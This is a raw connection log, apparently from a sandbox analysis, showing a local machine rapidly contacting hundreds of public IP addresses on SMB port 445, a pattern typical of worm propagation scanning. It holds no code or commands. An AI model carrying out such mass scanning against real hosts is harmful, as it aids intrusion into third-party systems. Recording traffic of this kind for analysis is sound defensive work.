Jul 20, 2022 06:08:42.055624008 CEST	55723	445	192.168.2.6	94.185.237.36
Jul 20, 2022 06:08:42.059426069 CEST	55729	445	192.168.2.6	120.14.164.206
Jul 20, 2022 06:08:42.082873106 CEST	55731	445	192.168.2.6	5.48.113.90
Jul 20, 2022 06:08:42.364080906 CEST	55737	445	192.168.2.6	37.21.160.102
Jul 20, 2022 06:08:42.401969910 CEST	55742	445	192.168.2.6	213.164.121.71
Jul 20, 2022 06:08:42.403285027 CEST	55744	445	192.168.2.6	74.0.250.6
Jul 20, 2022 06:08:42.404659033 CEST	55746	445	192.168.2.6	70.81.193.107
Jul 20, 2022 06:08:42.405383110 CEST	55747	445	192.168.2.6	126.161.21.151
Jul 20, 2022 06:08:42.409320116 CEST	55680	445	192.168.2.6	178.159.42.98
Jul 20, 2022 06:08:42.437108040 CEST	445	55680	178.159.42.98	192.168.2.6
Jul 20, 2022 06:08:42.686058998 CEST	445	55722	177.215.1.29	192.168.2.6
Jul 20, 2022 06:08:42.819854975 CEST	55755	445	192.168.2.6	178.159.42.99
Jul 20, 2022 06:08:42.820741892 CEST	55756	445	192.168.2.6	176.241.42.72
Jul 20, 2022 06:08:42.821484089 CEST	55757	445	192.168.2.6	87.90.253.17
Jul 20, 2022 06:08:42.848907948 CEST	445	55755	178.159.42.99	192.168.2.6
Jul 20, 2022 06:08:43.085556030 CEST	55760	445	192.168.2.6	45.38.128.73
Jul 20, 2022 06:08:43.087100983 CEST	55762	445	192.168.2.6	171.242.105.35
Jul 20, 2022 06:08:43.088341951 CEST	55764	445	192.168.2.6	58.75.61.90
Jul 20, 2022 06:08:43.089617968 CEST	55766	445	192.168.2.6	208.69.125.62
Jul 20, 2022 06:08:43.091372967 CEST	55769	445	192.168.2.6	89.127.98.220
Jul 20, 2022 06:08:43.092585087 CEST	55771	445	192.168.2.6	75.85.248.178
Jul 20, 2022 06:08:43.093225956 CEST	55772	445	192.168.2.6	208.11.133.126
Jul 20, 2022 06:08:43.150343895 CEST	55780	445	192.168.2.6	52.123.8.33
Jul 20, 2022 06:08:43.150629997 CEST	55779	445	192.168.2.6	190.39.64.70
Jul 20, 2022 06:08:43.150660992 CEST	55788	445	192.168.2.6	40.212.171.128
Jul 20, 2022 06:08:43.150691032 CEST	55786	445	192.168.2.6	63.249.241.86
Jul 20, 2022 06:08:43.150777102 CEST	55789	445	192.168.2.6	214.223.230.151
Jul 20, 2022 06:08:43.177546024 CEST	55791	445	192.168.2.6	206.241.189.208
Jul 20, 2022 06:08:43.178258896 CEST	55792	445	192.168.2.6	27.12.69.215
Jul 20, 2022 06:08:43.179976940 CEST	55794	445	192.168.2.6	77.190.241.95
Jul 20, 2022 06:08:43.182138920 CEST	55797	445	192.168.2.6	149.122.18.210
Jul 20, 2022 06:08:43.182816982 CEST	55798	445	192.168.2.6	77.125.233.165
Jul 20, 2022 06:08:43.187139988 CEST	55805	445	192.168.2.6	74.227.102.154
Jul 20, 2022 06:08:43.191493034 CEST	55806	445	192.168.2.6	31.72.78.29
Jul 20, 2022 06:08:43.208098888 CEST	55812	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:43.375947952 CEST	445	55812	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:43.376053095 CEST	55812	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:43.376244068 CEST	55812	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:43.436868906 CEST	55813	445	192.168.2.6	37.21.160.103
Jul 20, 2022 06:08:43.507503033 CEST	55822	445	192.168.2.6	82.196.8.192
Jul 20, 2022 06:08:43.508274078 CEST	55823	445	192.168.2.6	88.61.100.49
Jul 20, 2022 06:08:43.510056973 CEST	55825	445	192.168.2.6	38.24.49.168
Jul 20, 2022 06:08:43.511454105 CEST	55827	445	192.168.2.6	198.149.100.90
Jul 20, 2022 06:08:43.518845081 CEST	55755	445	192.168.2.6	178.159.42.99
Jul 20, 2022 06:08:43.546015024 CEST	445	55812	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:43.546205044 CEST	445	55755	178.159.42.99	192.168.2.6
Jul 20, 2022 06:08:43.546250105 CEST	55812	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:43.714828014 CEST	445	55812	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:43.715106010 CEST	55812	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:43.883816004 CEST	445	55812	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:43.888561964 CEST	55831	445	192.168.2.6	178.159.42.100
Jul 20, 2022 06:08:43.889749050 CEST	55832	445	192.168.2.6	176.241.42.73
Jul 20, 2022 06:08:43.889822006 CEST	55833	445	192.168.2.6	87.90.253.18
Jul 20, 2022 06:08:43.949604034 CEST	55834	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:44.118880033 CEST	445	55834	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:44.119040966 CEST	55834	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:44.119297981 CEST	55834	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:44.122343063 CEST	55836	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:44.128264904 CEST	55529	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:44.190943956 CEST	54960	445	192.168.2.6	128.110.36.51
Jul 20, 2022 06:08:44.212361097 CEST	55839	445	192.168.2.6	56.204.80.164
Jul 20, 2022 06:08:44.212409019 CEST	55840	445	192.168.2.6	22.245.219.148
Jul 20, 2022 06:08:44.212470055 CEST	55842	445	192.168.2.6	168.242.187.152
Jul 20, 2022 06:08:44.212569952 CEST	55844	445	192.168.2.6	83.230.137.93
Jul 20, 2022 06:08:44.212714911 CEST	55847	445	192.168.2.6	167.170.170.147
Jul 20, 2022 06:08:44.212814093 CEST	55849	445	192.168.2.6	217.247.1.230
Jul 20, 2022 06:08:44.212884903 CEST	55850	445	192.168.2.6	38.121.142.226
Jul 20, 2022 06:08:44.269747019 CEST	55856	445	192.168.2.6	97.34.147.119
Jul 20, 2022 06:08:44.271159887 CEST	55858	445	192.168.2.6	73.99.159.36
Jul 20, 2022 06:08:44.272511005 CEST	55860	445	192.168.2.6	106.120.18.239
Jul 20, 2022 06:08:44.276806116 CEST	55866	445	192.168.2.6	143.18.206.60
Jul 20, 2022 06:08:44.277513981 CEST	55867	445	192.168.2.6	150.137.21.203
Jul 20, 2022 06:08:44.288157940 CEST	445	55834	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:44.288194895 CEST	445	55834	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:44.291795015 CEST	445	55836	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:44.291888952 CEST	55836	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:44.296379089 CEST	55836	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:44.306153059 CEST	55869	445	192.168.2.6	162.56.110.26
Jul 20, 2022 06:08:44.306216002 CEST	55871	445	192.168.2.6	107.26.1.48
Jul 20, 2022 06:08:44.306229115 CEST	55870	445	192.168.2.6	80.182.54.64
Jul 20, 2022 06:08:44.306433916 CEST	55875	445	192.168.2.6	26.169.4.146
Jul 20, 2022 06:08:44.306498051 CEST	55876	445	192.168.2.6	179.57.85.87
Jul 20, 2022 06:08:44.306762934 CEST	55883	445	192.168.2.6	73.242.233.116
Jul 20, 2022 06:08:44.318237066 CEST	55885	445	192.168.2.6	195.220.199.43
Jul 20, 2022 06:08:44.331378937 CEST	55010	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:44.425131083 CEST	55014	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:44.465679884 CEST	445	55836	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:44.465859890 CEST	55836	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:44.507783890 CEST	55890	445	192.168.2.6	37.21.160.104
Jul 20, 2022 06:08:44.632935047 CEST	55899	445	192.168.2.6	173.10.127.11
Jul 20, 2022 06:08:44.632961988 CEST	55901	445	192.168.2.6	125.40.245.31
Jul 20, 2022 06:08:44.633043051 CEST	55902	445	192.168.2.6	105.128.192.230
Jul 20, 2022 06:08:44.633259058 CEST	55906	445	192.168.2.6	178.169.214.49
Jul 20, 2022 06:08:44.635274887 CEST	445	55836	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:44.635418892 CEST	55836	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:44.804438114 CEST	445	55836	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:45.029361963 CEST	55909	445	192.168.2.6	176.241.42.74
Jul 20, 2022 06:08:45.029668093 CEST	55910	445	192.168.2.6	87.90.253.19
Jul 20, 2022 06:08:45.029755116 CEST	55908	445	192.168.2.6	178.159.42.101
Jul 20, 2022 06:08:45.066673040 CEST	445	55910	87.90.253.19	192.168.2.6
Jul 20, 2022 06:08:45.066828966 CEST	55910	445	192.168.2.6	87.90.253.19
Jul 20, 2022 06:08:45.066975117 CEST	55910	445	192.168.2.6	87.90.253.19
Jul 20, 2022 06:08:45.079998970 CEST	445	55909	176.241.42.74	192.168.2.6
Jul 20, 2022 06:08:45.111629963 CEST	55912	445	192.168.2.6	87.90.253.19
Jul 20, 2022 06:08:45.112286091 CEST	445	55910	87.90.253.19	192.168.2.6
Jul 20, 2022 06:08:45.148142099 CEST	445	55912	87.90.253.19	192.168.2.6
Jul 20, 2022 06:08:45.148396015 CEST	55912	445	192.168.2.6	87.90.253.19
Jul 20, 2022 06:08:45.149775028 CEST	55912	445	192.168.2.6	87.90.253.19
Jul 20, 2022 06:08:45.172369003 CEST	445	55910	87.90.253.19	192.168.2.6
Jul 20, 2022 06:08:45.172540903 CEST	55910	445	192.168.2.6	87.90.253.19
Jul 20, 2022 06:08:45.187386990 CEST	445	55912	87.90.253.19	192.168.2.6
Jul 20, 2022 06:08:45.272555113 CEST	445	55912	87.90.253.19	192.168.2.6
Jul 20, 2022 06:08:45.272834063 CEST	55912	445	192.168.2.6	87.90.253.19
Jul 20, 2022 06:08:45.309791088 CEST	445	55912	87.90.253.19	192.168.2.6
Jul 20, 2022 06:08:45.317328930 CEST	55914	445	192.168.2.6	135.242.165.47
Jul 20, 2022 06:08:45.318836927 CEST	55917	445	192.168.2.6	62.3.98.142
Jul 20, 2022 06:08:45.322505951 CEST	55919	445	192.168.2.6	164.109.177.88
Jul 20, 2022 06:08:45.322705984 CEST	55920	445	192.168.2.6	100.159.169.220
Jul 20, 2022 06:08:45.323194027 CEST	55923	445	192.168.2.6	180.238.62.140
Jul 20, 2022 06:08:45.323210955 CEST	55925	445	192.168.2.6	184.199.212.78
Jul 20, 2022 06:08:45.323221922 CEST	55927	445	192.168.2.6	161.99.2.194
Jul 20, 2022 06:08:45.379813910 CEST	55931	445	192.168.2.6	151.22.73.77
Jul 20, 2022 06:08:45.380914927 CEST	55933	445	192.168.2.6	178.135.202.253
Jul 20, 2022 06:08:45.382301092 CEST	55935	445	192.168.2.6	57.149.194.139
Jul 20, 2022 06:08:45.386128902 CEST	55941	445	192.168.2.6	110.168.190.187
Jul 20, 2022 06:08:45.386660099 CEST	55942	445	192.168.2.6	163.91.35.142
Jul 20, 2022 06:08:45.410547972 CEST	55946	445	192.168.2.6	69.17.206.167
Jul 20, 2022 06:08:45.411422014 CEST	55947	445	192.168.2.6	195.155.64.146
Jul 20, 2022 06:08:45.418215036 CEST	55954	445	192.168.2.6	145.82.150.178
Jul 20, 2022 06:08:45.431168079 CEST	55955	445	192.168.2.6	107.221.86.151
Jul 20, 2022 06:08:45.432173967 CEST	55956	445	192.168.2.6	123.136.23.110
Jul 20, 2022 06:08:45.433509111 CEST	55958	445	192.168.2.6	28.74.184.180
Jul 20, 2022 06:08:45.436872959 CEST	55963	445	192.168.2.6	117.217.205.189
Jul 20, 2022 06:08:45.581480980 CEST	55909	445	192.168.2.6	176.241.42.74
Jul 20, 2022 06:08:45.582490921 CEST	55967	445	192.168.2.6	37.21.160.105
Jul 20, 2022 06:08:45.632076025 CEST	445	55909	176.241.42.74	192.168.2.6
Jul 20, 2022 06:08:45.742403984 CEST	55977	445	192.168.2.6	95.238.52.42
Jul 20, 2022 06:08:45.742410898 CEST	55976	445	192.168.2.6	3.202.110.242
Jul 20, 2022 06:08:45.742571115 CEST	55980	445	192.168.2.6	143.15.4.164
Jul 20, 2022 06:08:45.742737055 CEST	55983	445	192.168.2.6	187.26.230.83
Jul 20, 2022 06:08:46.093703032 CEST	55985	445	192.168.2.6	176.241.42.75
Jul 20, 2022 06:08:46.095206976 CEST	55986	445	192.168.2.6	178.159.42.102
Jul 20, 2022 06:08:46.443161011 CEST	55989	445	192.168.2.6	198.24.243.53
Jul 20, 2022 06:08:46.445187092 CEST	55992	445	192.168.2.6	146.202.222.91
Jul 20, 2022 06:08:46.446536064 CEST	55994	445	192.168.2.6	219.172.230.16
Jul 20, 2022 06:08:46.447360039 CEST	55995	445	192.168.2.6	175.44.216.244
Jul 20, 2022 06:08:46.449206114 CEST	55998	445	192.168.2.6	34.183.48.111
Jul 20, 2022 06:08:46.449896097 CEST	55999	445	192.168.2.6	41.47.77.40
Jul 20, 2022 06:08:46.451518059 CEST	56002	445	192.168.2.6	137.119.81.221
Jul 20, 2022 06:08:46.515197992 CEST	56008	445	192.168.2.6	82.206.123.221
Jul 20, 2022 06:08:46.515485048 CEST	56010	445	192.168.2.6	108.224.162.234
Jul 20, 2022 06:08:46.515615940 CEST	56012	445	192.168.2.6	86.59.160.16
Jul 20, 2022 06:08:46.515778065 CEST	56017	445	192.168.2.6	15.58.81.215
Jul 20, 2022 06:08:46.515928984 CEST	56019	445	192.168.2.6	125.130.42.192
Jul 20, 2022 06:08:46.530941010 CEST	56022	445	192.168.2.6	25.186.139.147
Jul 20, 2022 06:08:46.531181097 CEST	56029	445	192.168.2.6	82.69.171.227
Jul 20, 2022 06:08:46.531205893 CEST	56028	445	192.168.2.6	146.12.179.68
Jul 20, 2022 06:08:46.551954031 CEST	56031	445	192.168.2.6	7.3.13.72
Jul 20, 2022 06:08:46.552787066 CEST	56032	445	192.168.2.6	136.175.119.31
Jul 20, 2022 06:08:46.554203987 CEST	56034	445	192.168.2.6	38.16.184.130
Jul 20, 2022 06:08:46.560136080 CEST	56042	445	192.168.2.6	185.222.117.201
Jul 20, 2022 06:08:46.676338911 CEST	56043	445	192.168.2.6	37.21.160.106
Jul 20, 2022 06:08:46.868952990 CEST	56052	445	192.168.2.6	208.164.23.75
Jul 20, 2022 06:08:46.868999004 CEST	56053	445	192.168.2.6	153.78.91.173
Jul 20, 2022 06:08:46.869088888 CEST	56055	445	192.168.2.6	137.20.85.30
Jul 20, 2022 06:08:46.869229078 CEST	56058	445	192.168.2.6	182.229.182.2
Jul 20, 2022 06:08:47.145431042 CEST	56061	445	192.168.2.6	178.159.42.103
Jul 20, 2022 06:08:47.145487070 CEST	56062	445	192.168.2.6	176.241.42.76
Jul 20, 2022 06:08:47.330780029 CEST	56064	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:47.442223072 CEST	56065	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:47.567912102 CEST	56068	445	192.168.2.6	44.244.57.169
Jul 20, 2022 06:08:47.569431067 CEST	56070	445	192.168.2.6	134.102.54.80
Jul 20, 2022 06:08:47.571954966 CEST	56073	445	192.168.2.6	63.244.159.194
Jul 20, 2022 06:08:47.573367119 CEST	56075	445	192.168.2.6	20.186.144.183
Jul 20, 2022 06:08:47.574769974 CEST	56077	445	192.168.2.6	3.182.29.52
Jul 20, 2022 06:08:47.576170921 CEST	56079	445	192.168.2.6	113.146.200.180
Jul 20, 2022 06:08:47.576930046 CEST	56080	445	192.168.2.6	1.1.89.81
Jul 20, 2022 06:08:47.588805914 CEST	445	56065	128.110.36.1	192.168.2.6
Jul 20, 2022 06:08:47.588989019 CEST	56065	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:47.614453077 CEST	56085	445	192.168.2.6	71.189.218.11
Jul 20, 2022 06:08:47.615628958 CEST	56087	445	192.168.2.6	185.88.145.100
Jul 20, 2022 06:08:47.616319895 CEST	56088	445	192.168.2.6	133.161.22.68
Jul 20, 2022 06:08:47.647707939 CEST	56096	445	192.168.2.6	168.58.26.22
Jul 20, 2022 06:08:47.649247885 CEST	56099	445	192.168.2.6	159.89.25.43
Jul 20, 2022 06:08:47.649775982 CEST	56100	445	192.168.2.6	138.28.12.13
Jul 20, 2022 06:08:47.687268019 CEST	56107	445	192.168.2.6	164.183.4.209
Jul 20, 2022 06:08:47.687295914 CEST	56108	445	192.168.2.6	54.134.214.50
Jul 20, 2022 06:08:47.689874887 CEST	56109	445	192.168.2.6	52.206.70.27
Jul 20, 2022 06:08:47.689965010 CEST	56110	445	192.168.2.6	62.95.23.226
Jul 20, 2022 06:08:47.689974070 CEST	56112	445	192.168.2.6	80.140.205.227
Jul 20, 2022 06:08:47.690241098 CEST	56120	445	192.168.2.6	134.84.233.231
Jul 20, 2022 06:08:47.754534006 CEST	56121	445	192.168.2.6	37.21.160.107
Jul 20, 2022 06:08:47.816848993 CEST	56122	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:47.987478018 CEST	445	56122	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:47.987570047 CEST	56122	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:47.987761021 CEST	56122	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:48.015104055 CEST	56130	445	192.168.2.6	64.238.2.3
Jul 20, 2022 06:08:48.015227079 CEST	56132	445	192.168.2.6	185.189.83.176
Jul 20, 2022 06:08:48.015291929 CEST	56133	445	192.168.2.6	107.132.192.52
Jul 20, 2022 06:08:48.015482903 CEST	56137	445	192.168.2.6	177.42.136.13
Jul 20, 2022 06:08:48.019237995 CEST	56065	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:48.158544064 CEST	445	56122	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:48.166275024 CEST	56122	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:48.224126101 CEST	56140	445	192.168.2.6	176.241.42.77
Jul 20, 2022 06:08:48.224627972 CEST	56141	445	192.168.2.6	178.159.42.104
Jul 20, 2022 06:08:48.337093115 CEST	445	56122	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:48.337270975 CEST	56122	445	192.168.2.6	107.186.37.15
Jul 20, 2022 06:08:48.441163063 CEST	56065	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:48.510261059 CEST	445	56122	107.186.37.15	192.168.2.6
Jul 20, 2022 06:08:48.635945082 CEST	56144	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:48.692522049 CEST	56147	445	192.168.2.6	121.34.198.128
Jul 20, 2022 06:08:48.694041014 CEST	56149	445	192.168.2.6	65.79.47.124
Jul 20, 2022 06:08:48.698484898 CEST	56152	445	192.168.2.6	88.31.10.168
Jul 20, 2022 06:08:48.699867964 CEST	56154	445	192.168.2.6	51.35.43.10
Jul 20, 2022 06:08:48.701271057 CEST	56156	445	192.168.2.6	162.254.84.56
Jul 20, 2022 06:08:48.702887058 CEST	56158	445	192.168.2.6	160.110.12.218
Jul 20, 2022 06:08:48.703612089 CEST	56159	445	192.168.2.6	45.21.243.95
Jul 20, 2022 06:08:48.739640951 CEST	56164	445	192.168.2.6	223.76.35.117
Jul 20, 2022 06:08:48.740998030 CEST	56166	445	192.168.2.6	214.81.175.199
Jul 20, 2022 06:08:48.741705894 CEST	56167	445	192.168.2.6	176.246.29.133
Jul 20, 2022 06:08:48.774158001 CEST	56175	445	192.168.2.6	188.203.38.19
Jul 20, 2022 06:08:48.776273966 CEST	56178	445	192.168.2.6	149.21.252.136
Jul 20, 2022 06:08:48.777039051 CEST	56179	445	192.168.2.6	70.179.166.77
Jul 20, 2022 06:08:48.787972927 CEST	56186	445	192.168.2.6	198.195.3.146
Jul 20, 2022 06:08:48.788866997 CEST	56187	445	192.168.2.6	23.239.85.90
Jul 20, 2022 06:08:48.789649963 CEST	56188	445	192.168.2.6	89.101.110.20
Jul 20, 2022 06:08:48.790694952 CEST	56189	445	192.168.2.6	150.24.4.218
Jul 20, 2022 06:08:48.792057037 CEST	56191	445	192.168.2.6	178.32.166.161
Jul 20, 2022 06:08:48.797163963 CEST	56199	445	192.168.2.6	158.139.138.55
Jul 20, 2022 06:08:48.806746006 CEST	445	56144	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:48.806890011 CEST	56144	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:48.807084084 CEST	56144	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:48.828886986 CEST	56200	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:48.832587957 CEST	56201	445	192.168.2.6	37.21.160.108
Jul 20, 2022 06:08:48.933938980 CEST	55529	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:48.978396893 CEST	445	56144	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:48.978432894 CEST	445	56144	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:48.999428034 CEST	445	56200	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:48.999532938 CEST	56200	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:48.999669075 CEST	56200	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:48.999871969 CEST	56203	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:49.034771919 CEST	445	56203	134.220.131.2	192.168.2.6
Jul 20, 2022 06:08:49.034924030 CEST	56203	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:49.041903973 CEST	56204	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:49.074523926 CEST	445	56204	134.220.131.2	192.168.2.6
Jul 20, 2022 06:08:49.074598074 CEST	56204	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:49.130780935 CEST	56209	445	192.168.2.6	175.101.30.91
Jul 20, 2022 06:08:49.143100977 CEST	56213	445	192.168.2.6	185.74.186.14
Jul 20, 2022 06:08:49.143209934 CEST	56214	445	192.168.2.6	205.109.242.225
Jul 20, 2022 06:08:49.143307924 CEST	56216	445	192.168.2.6	173.91.185.43
Jul 20, 2022 06:08:49.172580004 CEST	445	56200	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:49.173537016 CEST	56200	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:49.301564932 CEST	56221	445	192.168.2.6	178.159.42.105
Jul 20, 2022 06:08:49.301662922 CEST	56222	445	192.168.2.6	176.241.42.78
Jul 20, 2022 06:08:49.316203117 CEST	56065	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:49.344186068 CEST	445	56200	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:49.345077991 CEST	56200	445	192.168.2.6	107.186.37.16
Jul 20, 2022 06:08:49.347435951 CEST	56203	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:49.350367069 CEST	445	56222	176.241.42.78	192.168.2.6
Jul 20, 2022 06:08:49.378726959 CEST	56204	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:49.515783072 CEST	445	56200	107.186.37.16	192.168.2.6
Jul 20, 2022 06:08:49.613106012 CEST	56203	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:49.644352913 CEST	56204	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:49.820645094 CEST	56228	445	192.168.2.6	211.126.35.235
Jul 20, 2022 06:08:49.822069883 CEST	56231	445	192.168.2.6	44.86.193.147
Jul 20, 2022 06:08:49.823076963 CEST	56233	445	192.168.2.6	10.231.249.104
Jul 20, 2022 06:08:49.833587885 CEST	56234	445	192.168.2.6	116.25.88.31
Jul 20, 2022 06:08:49.834602118 CEST	56236	445	192.168.2.6	71.140.25.125
Jul 20, 2022 06:08:49.837474108 CEST	56242	445	192.168.2.6	97.211.136.56
Jul 20, 2022 06:08:49.863146067 CEST	56222	445	192.168.2.6	176.241.42.78
Jul 20, 2022 06:08:49.868016958 CEST	56247	445	192.168.2.6	182.126.37.209
Jul 20, 2022 06:08:49.868035078 CEST	56246	445	192.168.2.6	184.171.182.212
Jul 20, 2022 06:08:49.868154049 CEST	56249	445	192.168.2.6	131.12.127.135
Jul 20, 2022 06:08:49.900145054 CEST	56255	445	192.168.2.6	69.220.214.111
Jul 20, 2022 06:08:49.902695894 CEST	56258	445	192.168.2.6	76.147.214.129
Jul 20, 2022 06:08:49.903440952 CEST	56259	445	192.168.2.6	207.125.7.150
Jul 20, 2022 06:08:49.908081055 CEST	56266	445	192.168.2.6	37.21.160.109
Jul 20, 2022 06:08:49.910801888 CEST	56267	445	192.168.2.6	79.57.23.155
Jul 20, 2022 06:08:49.911510944 CEST	56268	445	192.168.2.6	105.10.55.183
Jul 20, 2022 06:08:49.912265062 CEST	56269	445	192.168.2.6	40.161.163.194
Jul 20, 2022 06:08:49.912791014 CEST	445	56222	176.241.42.78	192.168.2.6
Jul 20, 2022 06:08:49.912837029 CEST	56270	445	192.168.2.6	92.111.96.140
Jul 20, 2022 06:08:49.913906097 CEST	56272	445	192.168.2.6	130.117.137.78
Jul 20, 2022 06:08:49.919745922 CEST	56280	445	192.168.2.6	15.197.176.153
Jul 20, 2022 06:08:50.222604036 CEST	56203	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:50.240758896 CEST	56288	445	192.168.2.6	87.179.45.107
Jul 20, 2022 06:08:50.241700888 CEST	56290	445	192.168.2.6	93.209.123.209
Jul 20, 2022 06:08:50.242261887 CEST	56291	445	192.168.2.6	111.148.140.245
Jul 20, 2022 06:08:50.253524065 CEST	56295	445	192.168.2.6	42.217.176.67
Jul 20, 2022 06:08:50.253751040 CEST	56204	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:08:50.316344023 CEST	56064	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:50.371123075 CEST	56297	445	192.168.2.6	178.159.42.106
Jul 20, 2022 06:08:50.371149063 CEST	56298	445	192.168.2.6	176.241.42.79
Jul 20, 2022 06:08:50.950726032 CEST	56305	445	192.168.2.6	58.172.202.70
Jul 20, 2022 06:08:50.950822115 CEST	56309	445	192.168.2.6	79.79.152.119
Jul 20, 2022 06:08:50.950906038 CEST	56311	445	192.168.2.6	115.14.40.115
Jul 20, 2022 06:08:50.958323002 CEST	56312	445	192.168.2.6	27.134.18.9
Jul 20, 2022 06:08:50.959768057 CEST	56314	445	192.168.2.6	191.204.112.137
Jul 20, 2022 06:08:50.961218119 CEST	56316	445	192.168.2.6	143.124.88.89
Jul 20, 2022 06:08:50.963975906 CEST	56320	445	192.168.2.6	165.52.235.142
Jul 20, 2022 06:08:50.973938942 CEST	56321	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:50.989830971 CEST	56323	445	192.168.2.6	11.225.95.148
Jul 20, 2022 06:08:50.991395950 CEST	56325	445	192.168.2.6	29.91.251.55
Jul 20, 2022 06:08:50.992122889 CEST	56326	445	192.168.2.6	162.112.27.129
Jul 20, 2022 06:08:51.030555964 CEST	56331	445	192.168.2.6	128.154.225.180
Jul 20, 2022 06:08:51.030580044 CEST	56330	445	192.168.2.6	183.71.70.192
Jul 20, 2022 06:08:51.030642033 CEST	56332	445	192.168.2.6	65.3.124.75
Jul 20, 2022 06:08:51.030776978 CEST	56333	445	192.168.2.6	207.80.244.133
Jul 20, 2022 06:08:51.030870914 CEST	56336	445	192.168.2.6	152.77.221.73
Jul 20, 2022 06:08:51.031056881 CEST	56342	445	192.168.2.6	99.97.207.241
Jul 20, 2022 06:08:51.031244040 CEST	56348	445	192.168.2.6	71.77.65.136
Jul 20, 2022 06:08:51.031363964 CEST	56350	445	192.168.2.6	216.187.171.150
Jul 20, 2022 06:08:51.031388044 CEST	56352	445	192.168.2.6	128.88.102.185
Jul 20, 2022 06:08:51.050718069 CEST	56065	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:51.088069916 CEST	445	56321	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.088187933 CEST	56321	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.088318110 CEST	56321	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.090787888 CEST	56359	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.197056055 CEST	445	56321	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.197088957 CEST	445	56359	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.197194099 CEST	56359	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.197441101 CEST	56359	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.206299067 CEST	445	56321	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.206403971 CEST	56321	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.301120996 CEST	445	56359	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.309014082 CEST	445	56359	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.309267998 CEST	56359	445	192.168.2.6	37.21.160.110
Jul 20, 2022 06:08:51.356978893 CEST	56364	445	192.168.2.6	186.96.91.237
Jul 20, 2022 06:08:51.361335039 CEST	56368	445	192.168.2.6	168.112.39.17
Jul 20, 2022 06:08:51.361375093 CEST	56369	445	192.168.2.6	14.74.216.104
Jul 20, 2022 06:08:51.367780924 CEST	56374	445	192.168.2.6	137.190.41.249
Jul 20, 2022 06:08:51.416985035 CEST	445	56359	37.21.160.110	192.168.2.6
Jul 20, 2022 06:08:51.417267084 CEST	56359	445	192.168.2.6	37.21.160.110
